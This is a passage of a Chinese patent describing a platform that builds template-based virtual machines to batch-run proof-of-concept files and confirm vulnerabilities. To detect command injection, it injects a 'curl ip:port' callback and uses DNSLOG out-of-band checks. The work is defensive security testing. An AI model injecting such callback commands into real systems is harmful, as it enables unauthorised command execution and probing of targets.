在具体实现中,可以在本机开启一个随机的端口,并监听;构造并发送payload:将命令“curl ip:port”构造入验证数据包中,发送数据包。ip指本机IP,port指开启的端口号。检查日志,判定结果:查看本机网络流量日志,检查是否有来自目标IP的请求,并且请求端口为随机设置的端口,若有,则存在命令执行漏洞。
POC批量验证管理平台用于统一管理操作系统、软件模板,漏洞验证环境虚拟机。在本申请实施例中,可以将POC批量验证管理平台的IP地址映射到指定的URL地址上,具体操作步骤如下:
1、安装Nginx并启动服务;2、在Nginx的配置文件中添加反向代理规则,将虚拟机的IP地址映射到指定的URL地址上;3、重新加载Nginx配置文件,使配置生效;4、在浏览器中输入指定的URL地址,即可访问POC批量验证管理平台的Web控制台。可以进一步配置Nginx以提高网站的安全性,例如添加SSL/TLS加密等措施。
使用Nginx反向代理,实现IP地址内部转发,以便使用Web页面打开POC批量验证管理平台以管理虚拟机。通过使用Nginx打开POC批量验证管理平台的Web控制台,可以提高网站的安全性。因为所有来自Internet的请求都必须先经过代理服务器,Nginx还可以缓存静态资源、加速Web请求并实现负载均衡等功能。
图4为本申请实施例提供的一种POC批量验证装置的结构示意图,包括选取单元41、构建单元42、传输单元43和校验单元44;
选取单元41,用于从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板;其中,模板库包括多个操作系统模板和多个软件模板;
构建单元42,用于依据目标操作系统模板和目标软件模板,构建漏洞验证环境虚拟机;
传输单元43,用于将接收的POC文件传输至各漏洞验证环境虚拟机;
校验单元44,用于POC文件在各漏洞验证环境虚拟机中执行完毕后,运行验证脚本对POC文件的运行结果进行校验,以确定出POC文件指示的漏洞是否存在。
可选地,传输单元包括读取子单元、保存子单元、调用子单元、获取子单元和上传子单元;
读取子单元,用于在获取到用户上传至对象存储服务的POC文件后,从对象存储服务中读取POC文件;
保存子单元,用于将POC文件保存至系统本地临时文件夹;
调用子单元,用于调用连接函数连接虚拟机管理平台的系统接口;
获取子单元,用于基于系统接口获取各漏洞验证环境虚拟机的IP地址;
上传子单元,用于依据各IP地址将系统本地临时文件夹保存的POC文件上传至相应的漏洞验证环境虚拟机。
可选地,上传子单元用于从预先构建的线程池中选取用于执行文件传输任务的多个线程;其中,选取的线程总数小于或等于漏洞验证环境虚拟机总数;
利用多个线程将POC文件并行上传至各IP地址对应的漏洞验证环境虚拟机。
可选地,校验单元包括选取子单元和判定子单元;
选取子单元,用于基于POC文件的POC效果,从验证脚本库中选取匹配的验证脚本;
判定子单元,用于运行验证脚本以获取POC文件的运行结果,在运行结果与验证脚本中包含的预期结果匹配的情况下,判定POC文件指示的漏洞存在。
可选地,判定子单元用于在POC文件包含响应漏洞的情况下,将具有响应输出的命令作为验证数据包,并将验证数据包发送至具有响应漏洞的第一目标软件;在第一目标软件的返回结果符合预期结果的情况下,判定第一目标软件存在命令执行漏洞;
在POC文件包含非响应漏洞的情况下,判断具有非响应漏洞的第二目标软件是否正常联网;
在具有非响应漏洞的第二目标软件正常联网的情况下,将POC文件的DNSLOG服务的地址替换为设定的有效指令;运行包含有效指令的POC文件;在DNSLOG服务的日志中记录的DNS请求信息与第二目标软件匹配的情况下,判定第二目标软件存在命令执行漏洞;
在具有非响应漏洞的第二目标软件无法正常联网的情况下,开启本机的一个随机端口,将依据本机IP和随机端口的端口号构造的验证数据包发送至第二目标软件;在本机网络流量日志中记录有来自于本机IP的请求并且请求端口为随机端口的情况下,判定第二目标软件存在命令执行漏洞。
可选地,还包括映射单元;
映射,用于将各漏洞验证环境虚拟机的IP地址映射到指定的URL地址上。
可选地,构建单元包括克隆子单元和部署子单元;
克隆子单元,用于依据目标操作系统模板对创建的空虚拟机进行克隆,以得到所需数量的虚拟机;
部署子单元,用于根据目标操作系统模板和目标软件模板的组合方式,将各目标软件模板部署在匹配的虚拟机上,以得到漏洞验证环境虚拟机。
图4所对应实施例中特征的说明可以参见图1和图3所对应实施例的相关说明,这里不再一一赘述。
由上述技术方案可以看出,从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板;其中,模板库包括多个操作系统模板和多个软件模板;操作系统模板、软件模板可以任意组合搭配,以生成不同操作系统、软件版本的漏洞验证环境,以满足不同测试需求。依据目标操作系统模板和目标软件模板,构建漏洞验证环境虚拟机;将接收的POC文件传输至各漏洞验证环境虚拟机;POC文件在各漏洞验证环境虚拟机中执行完毕后,运行验证脚本对POC文件的运行结果进行校验,以确定出POC文件指示的漏洞是否存在。在该技术方案中,通过调用所需的操作系统模板和软件模板,可以批量快速的构建出所需的漏洞验证环境。并针对不同POC效果,预先编写好不同的验证脚本,基于当前POC文件的POC效果可以选定所需的验证脚本,通过自动执行选定的验证脚本获取验证结果,从而达到POC效果多漏洞验证环境的快速自动化验证。整个实现过程无需人工部署漏洞验证环境和验证程序,提升了POC验证的效率。
图5为本申请实施例提供的一种电子设备的结构图,如图5所示,电子设备包括:存储器50,用于存储计算机程序;
处理器51,用于执行计算机程序时实现如上述实施例POC批量验证方法的步骤。
本实施例提供的电子设备可以包括但不限于智能手机、平板电脑、笔记本电脑或台式电脑等。
其中,处理器51可以包括一个或多个处理核心,比如4核心处理器、8核心处理器等。处理器51可以采用DSP(Digital Signal Processing,数字信号处理)、FPGA(Field-Programmable Gate Array,现场可编程门阵列)、PLA(Programmable Logic Array,可编程逻辑阵列)中的至少一种硬件形式来实现。处理器51也可以包括主处理器和协处理器,主处理器是用于对在唤醒状态下的数据进行处理的处理器,也称CPU(Central ProcessingUnit,中央处理器);协处理器是用于对在待机状态下的数据进行处理的低功耗处理器。在一些实施例中,处理器51可以在集成有GPU(Graphics Processing Unit,图像处理器),GPU用于负责显示屏所需要显示的内容的渲染和绘制。一些实施例中,处理器51还可以包括AI(Artificial Intelligence,人工智能)处理器,该AI处理器用于处理有关机器学习的计算操作。
存储器50可以包括一个或多个计算机可读存储介质,该计算机可读存储介质可以是非暂态的。存储器50还可包括高速随机存取存储器,以及非易失性存储器,比如一个或多个磁盘存储设备、闪存存储设备。本实施例中,存储器50至少用于存储以下计算机程序501,其中,该计算机程序被处理器51加载并执行之后,能够实现前述任一实施例公开的POC批量验证方法的相关步骤。另外,存储器50所存储的资源还可以包括操作系统502和数据503等,存储方式可以是短暂存储或者永久存储。其中,操作系统502可以包括Windows、Unix、Linux等。数据503可以包括但不限于包括多个操作系统模板和多个软件模板的模板库、多个验证脚本等。
在一些实施例中,电子设备还可包括有显示屏52、输入输出接口53、通信接口54、电源55以及通信总线56。
本领域技术人员可以理解,图5中示出的结构并不构成对电子设备的限定,可以包括比图示更多或更少的组件。
可以理解的是,如果上述实施例中的POC批量验证方法以软件功能单元的形式实现并作为独立的产品销售或使用时,可以存储在一个计算机可读取存储介质中。基于这样的理解,本申请的技术方案本质上或者说对目前技术做出贡献的部分或者该技术方案的全部或部分可以以软件产品的形式体现出来,该计算机软件产品存储在一个存储介质中,执行本申请各个实施例方法的全部或部分步骤。而前述的存储介质包括:U盘、移动硬盘、只读存储器(Read-Only Memory,ROM)、随机存取存储器(Random Access Memory,RAM)、电可擦除可编程ROM、寄存器、硬盘、可移动磁盘、CD-ROM、磁碟或者光盘等各种可以存储程序代码的介质。
基于此,本申请实施例还提供了一种计算机可读存储介质,计算机可读存储介质上存储有计算机程序,计算机程序被处理器执行时实现如上述POC批量验证方法的步骤。
以上对本申请实施例所提供的一种POC批量验证方法、装置、设备和计算机可读存储介质进行了详细介绍。说明书中各个实施例采用递进的方式描述,每个实施例重点说明的都是与其他实施例的不同之处,各个实施例之间相同相似部分互相参见即可。对于实施例公开的装置而言,由于其与实施例公开的方法相对应,所以描述的比较简单,相关之处参见方法部分说明即可。
专业人员还可以进一步意识到,结合本文中所公开的实施例描述的各示例的单元及算法步骤,能够以电子硬件、计算机软件或者二者的结合来实现,为了清楚地说明硬件和软件的可互换性,在上述说明中已经按照功能一般性地描述了各示例的组成及步骤。这些功能究竟以硬件还是软件方式来执行,取决于技术方案的特定应用和设计约束条件。专业技术人员可以对每个特定的应用来使用不同方法来实现所描述的功能,但是这种实现不应认为超出本申请的范围。
以上对本申请所提供的一种POC批量验证方法、装置、设备和计算机可读存储介质进行了详细介绍。本文中应用了具体个例对本申请的原理及实施方式进行了阐述,以上实施例的说明只是用于帮助理解本申请的方法及其核心思想。应当指出,对于本技术领域的普通技术人员来说,在不脱离本申请原理的前提下,还可以对本申请进行若干改进和修饰,这些改进和修饰也落入本申请权利要求的保护范围内。
Claims (9)
1.一种POC批量验证方法,其特征在于,包括:
从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板;其中,所述模板库包括多个操作系统模板和多个软件模板;
依据所述目标操作系统模板和所述目标软件模板,构建漏洞验证环境虚拟机;
将接收的POC文件传输至各所述漏洞验证环境虚拟机;
所述POC文件在各所述漏洞验证环境虚拟机中执行完毕后,运行验证脚本对所述POC文件的运行结果进行校验,以确定出所述POC文件指示的漏洞是否存在包括:在所述POC文件包含响应漏洞的情况下,将具有响应输出的命令作为验证数据包,并将所述验证数据包发送至具有所述响应漏洞的第一目标软件;在所述第一目标软件的返回结果符合预期结果的情况下,判定所述第一目标软件存在命令执行漏洞;
在所述POC文件包含非响应漏洞的情况下,判断具有非响应漏洞的第二目标软件是否正常联网;
在具有非响应漏洞的第二目标软件正常联网的情况下,将所述POC文件的DNSLOG服务的地址替换为设定的有效指令;运行包含所述有效指令的POC文件;在所述DNSLOG服务的日志中记录的DNS请求信息与所述第二目标软件匹配的情况下,判定所述第二目标软件存在命令执行漏洞;
在具有非响应漏洞的第二目标软件无法正常联网的情况下,开启本机的一个随机端口,将依据本机IP和所述随机端口的端口号构造的验证数据包发送至所述第二目标软件;在本机网络流量日志中记录有来自于所述本机IP的请求并且请求端口为所述随机端口的情况下,判定所述第二目标软件存在命令执行漏洞。
2.根据权利要求1所述的POC批量验证方法,其特征在于,所述将接收的POC文件传输至各所述漏洞验证环境虚拟机包括:
在获取到用户上传至对象存储服务的POC文件后,从所述对象存储服务中读取所述POC文件,并将所述POC文件保存至系统本地临时文件夹;
调用连接函数连接虚拟机管理平台的系统接口;
基于所述系统接口获取各所述漏洞验证环境虚拟机的IP地址;
依据各所述IP地址将所述系统本地临时文件夹保存的所述POC文件上传至相应的所述漏洞验证环境虚拟机。
3.根据权利要求2所述的POC批量验证方法,其特征在于,所述依据各所述IP地址将所述系统本地临时文件夹保存的所述POC文件上传至各所述漏洞验证环境虚拟机包括:
从预先构建的线程池中选取用于执行文件传输任务的多个线程;其中,选取的线程总数小于或等于所述漏洞验证环境虚拟机总数;
利用多个线程将所述POC文件并行上传至各所述IP地址对应的漏洞验证环境虚拟机。
4.根据权利要求1所述的POC批量验证方法,其特征在于,所述运行验证脚本对所述POC文件的运行结果进行校验,以确定出所述POC文件指示的漏洞是否存在包括:
基于所述POC文件的POC效果,从验证脚本库中选取匹配的验证脚本。
5.根据权利要求1所述的POC批量验证方法,其特征在于,在所述依据所述目标操作系统模板和所述目标软件模板,构建漏洞验证环境虚拟机之后,还包括:
将各所述漏洞验证环境虚拟机的IP地址映射到指定的URL地址上。
6.根据权利要求1至5任意一项所述的POC批量验证方法,其特征在于,所述依据所述目标操作系统模板和所述目标软件模板,构建漏洞验证环境虚拟机包括:
依据所述目标操作系统模板对创建的空虚拟机进行克隆,以得到所需数量的虚拟机;
根据所述目标操作系统模板和所述目标软件模板的组合方式,将各所述目标软件模板部署在匹配的虚拟机上,以得到漏洞验证环境虚拟机。
7.一种POC批量验证装置,其特征在于,包括选取单元、构建单元、传输单元和校验单元;
所述选取单元,用于从模板库中选取与验证需求匹配的目标操作系统模板和目标软件模板;其中,所述模板库包括多个操作系统模板和多个软件模板;
所述构建单元,用于依据所述目标操作系统模板和所述目标软件模板,构建漏洞验证环境虚拟机;
所述传输单元,用于将接收的POC文件传输至各所述漏洞验证环境虚拟机;
所述校验单元,用于所述POC文件在各所述漏洞验证环境虚拟机中执行完毕后,运行验证脚本对所述POC文件的运行结果进行校验,以确定出所述POC文件指示的漏洞是否存在;
所述校验单元包括判定子单元;所述判定子单元,用于在所述POC文件包含响应漏洞的情况下,将具有响应输出的命令作为验证数据包,并将所述验证数据包发送至具有所述响应漏洞的第一目标软件;在所述第一目标软件的返回结果符合预期结果的情况下,判定所述第一目标软件存在命令执行漏洞;在所述POC文件包含非响应漏洞的情况下,判断具有非响应漏洞的第二目标软件是否正常联网;在具有非响应漏洞的第二目标软件正常联网的情况下,将所述POC文件的DNSLOG服务的地址替换为设定的有效指令;运行包含所述有效指令的POC文件;在所述DNSLOG服务的日志中记录的DNS请求信息与所述第二目标软件匹配的情况下,判定所述第二目标软件存在命令执行漏洞;在具有非响应漏洞的第二目标软件无法正常联网的情况下,开启本机的一个随机端口,将依据本机IP和所述随机端口的端口号构造的验证数据包发送至所述第二目标软件;在本机网络流量日志中记录有来自于所述本机IP的请求并且请求端口为所述随机端口的情况下,判定所述第二目标软件存在命令执行漏洞。
8.一种电子设备,其特征在于,包括:
存储器,用于存储计算机程序;
处理器,用于执行所述计算机程序以实现如权利要求1至6任意一项所述POC批量验证方法的步骤。
9.一种计算机可读存储介质,其特征在于,所述计算机可读存储介质上存储有计算机程序,所述计算机程序被处理器执行时实现如权利要求1至6任意一项所述POC批量验证方法的步骤。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202311827531.3A CN117478440B (zh) | 2023-12-28 | 2023-12-28 | 一种poc批量验证方法、装置、设备和介质 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202311827531.3A CN117478440B (zh) | 2023-12-28 | 2023-12-28 | 一种poc批量验证方法、装置、设备和介质 |
Publications (2)
Publication Number | Publication Date |
---|---|
CN117478440A CN117478440A (zh) | 2024-01-30 |
CN117478440B true CN117478440B (zh) | 2024-03-01 |
Family
ID=89640117
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN202311827531.3A Active CN117478440B (zh) | 2023-12-28 | 2023-12-28 | 一种poc批量验证方法、装置、设备和介质 |
Country Status (1)
Country | Link |
---|---|
CN (1) | CN117478440B (zh) |
Citations (5)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN106203126A (zh) * | 2016-07-15 | 2016-12-07 | 国家计算机网络与信息安全管理中心 | 一种基于模拟环境的漏洞验证方法及系统 |
CN106295347A (zh) * | 2015-05-28 | 2017-01-04 | 国家计算机网络与信息安全管理中心 | 用于搭建漏洞验证环境的方法及装置 |
CN113162892A (zh) * | 2020-01-23 | 2021-07-23 | 北京华顺信安科技有限公司 | 一种poc验证环境快速生成方法、可读介质及设备 |
US11647040B1 (en) * | 2022-07-14 | 2023-05-09 | Tenable, Inc. | Vulnerability scanning of a remote file system |
CN116484378A (zh) * | 2023-02-16 | 2023-07-25 | 超聚变数字技术有限公司 | 一种漏洞分析方法、装置及电子设备 |
Family Cites Families (4)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
US9135405B2 (en) * | 2011-05-26 | 2015-09-15 | Carnegie Mellon University | Automated exploit generation |
US9811667B2 (en) * | 2011-09-21 | 2017-11-07 | Mcafee, Inc. | System and method for grouping computer vulnerabilities |
US10817407B2 (en) * | 2018-05-07 | 2020-10-27 | Proov Systems Ltd. | PoC platform which compares startup S/W products including evaluating their machine learning models |
US11301367B2 (en) * | 2020-03-02 | 2022-04-12 | BugPoC, LLC | Automated fix verification and regression testing method derived from proof-of-concepts |
-
2023
- 2023-12-28 CN CN202311827531.3A patent/CN117478440B/zh active Active
Patent Citations (5)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN106295347A (zh) * | 2015-05-28 | 2017-01-04 | 国家计算机网络与信息安全管理中心 | 用于搭建漏洞验证环境的方法及装置 |
CN106203126A (zh) * | 2016-07-15 | 2016-12-07 | 国家计算机网络与信息安全管理中心 | 一种基于模拟环境的漏洞验证方法及系统 |
CN113162892A (zh) * | 2020-01-23 | 2021-07-23 | 北京华顺信安科技有限公司 | 一种poc验证环境快速生成方法、可读介质及设备 |
US11647040B1 (en) * | 2022-07-14 | 2023-05-09 | Tenable, Inc. | Vulnerability scanning of a remote file system |
CN116484378A (zh) * | 2023-02-16 | 2023-07-25 | 超聚变数字技术有限公司 | 一种漏洞分析方法、装置及电子设备 |
Non-Patent Citations (7)
Title |
---|
任幸东 ; 王剑 ; .通用Java反射型漏洞检测模型研究.信息安全与技术.2015,(第11期),全文. * |
林镜华 ; 雷为民 ; 白松 ; 李凌南 ; .支持IPTV高清码流连续平滑播放的多级缓冲区设计与实现.小型微型计算机系统.2010,(第05期),全文. * |
段保平 ; .安全漏洞的完整生命周期管理.网络安全和信息化.2018,(第10期),全文. * |
秦丞 ; 贺渝镔 ; .IT资产高速探查及漏洞发现系统的研究.软件.2019,(第12期),全文. * |
谭君等.远程漏洞评估方法与设计.电子技术与软件工程.2017,全文. * |
郎为民 ; 马卫国 ; 张寅 ; 安海燕 ; .软件定义网络安全平台研究.电信快报.2020,(第01期),全文. * |
陈一鸣 ; 寇小强 ; 王永利 ; .基于Docker的漏洞验证框架的设计与实现.电子技术应用.2018,(第11期),全文. * |
Also Published As
Publication number | Publication date |
---|---|
CN117478440A (zh) | 2024-01-30 |
Similar Documents
Publication | Publication Date | Title |
---|---|---|
US11194640B2 (en) | Validation framework for runtime connected API systems | |
US20190236000A1 (en) | Distributed system test device | |
US11150893B2 (en) | Collaborative software development tool for resolving potential code-change conflicts in real time | |
EP3011444B1 (en) | Method and apparatus for code virtualization and remote process call generation | |
US10013491B2 (en) | Methods and systems of workload mobility across divergent platforms | |
US10977167B2 (en) | Application monitoring with a decoupled monitoring tool | |
US11600276B2 (en) | Graph based prediction for next action in conversation flow | |
US20200019490A1 (en) | Automated application testing system | |
US11561889B2 (en) | Orchestration for automated performance testing | |
WO2018108041A1 (zh) | 一种远程调试方法及装置、计算机存储介质 | |
US10489005B2 (en) | Usability analysis for user interface based systems | |
US10216617B2 (en) | Automatically complete a specific software task using hidden tags | |
US11023558B1 (en) | Executing functions on-demand on a server utilizing web browsers | |
US11843674B2 (en) | Virtual workspace experience visualization and optimization | |
US8677339B2 (en) | Component relinking in migrations | |
US9513948B2 (en) | Automated virtual machine provisioning based on defect state | |
US20190317845A1 (en) | Device based automated tool integration for lifecycle management platform | |
US20230421489A1 (en) | Discovery and routing service for a cloud infrastructure | |
CN117478440B (zh) | 一种poc批量验证方法、装置、设备和介质 | |
US20180165136A1 (en) | A system, method, computer program and data signal for hosting and executing a program on a mainframe | |
US20190188185A1 (en) | Defining Software Infrastructure Using a Picture | |
US20220291946A1 (en) | Software container configuration | |
CN113138915A (zh) | 一种页面测试方法、装置及介质 | |
US20240179169A1 (en) | Techniques for validation and optimization of cloud computing environments | |
US9298597B2 (en) | Automated testing of websites based on mode |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
PB01 | Publication | ||
PB01 | Publication | ||
SE01 | Entry into force of request for substantive examination | ||
SE01 | Entry into force of request for substantive examination | ||
GR01 | Patent grant | ||
GR01 | Patent grant |